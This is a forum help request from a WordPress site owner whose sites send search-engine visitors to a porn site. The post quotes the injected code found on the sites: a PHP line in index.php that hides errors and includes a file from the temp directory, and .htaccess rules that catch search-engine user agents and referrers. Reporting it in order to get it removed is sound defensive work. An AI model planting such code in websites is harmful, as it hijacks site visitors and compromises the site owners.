Redirection Hack
-
Hello! I’m aware that a few posts on this matter exist already however i’m hoping for some additional clarity. A number of wordpress sites I have created are currently being redirected to a porn site when accessed through a search engine (google, bing, yahoo). Accessing the website via the domain is OK.
Having read up on this issues, I’ve investigated my code and .htaccess file. I have noticed that in the index.php file the following code is displayed –
error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?><?php
When this line of code is removed, the website acts fine in google and the redirection hack doesn’t appear for a number of hours. It does however re-appear later each day and the index.php file has again been modified.
The .htaccess file has the following code listed;
<IfModule mod_rewrite.c> RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR] RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing) RewriteRule ^.*$ index.php [L] </IfModule>
I have changed my FTP passwords, contacted my host, changed my wordpress username via myPHPadmin…
Any help would be appreciated.
- The topic ‘Redirection Hack’ is closed to new replies.